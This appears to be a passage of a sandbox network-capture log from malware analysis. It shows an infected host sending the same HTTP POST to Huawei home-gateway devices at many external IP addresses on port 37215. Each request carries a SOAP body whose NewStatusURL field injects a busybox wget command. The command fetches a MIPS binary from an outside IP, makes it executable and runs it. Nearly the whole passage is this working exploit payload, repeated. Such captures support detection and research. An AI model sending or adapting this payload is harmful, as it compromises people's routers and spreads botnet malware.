Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.23	36728	41.121.144.224	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.287929058 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.23	39772	41.209.117.218	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.287981033 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:15:56.520194054 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:15:56.952111959 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:15:57.815995932 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:15:59.511782885 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:16:03.031296015 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:16:09.942322969 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.23	41204	41.66.66.141	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.288014889 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.23	53540	197.92.83.61	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.288049936 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.23	53796	41.199.32.68	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.288088083 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 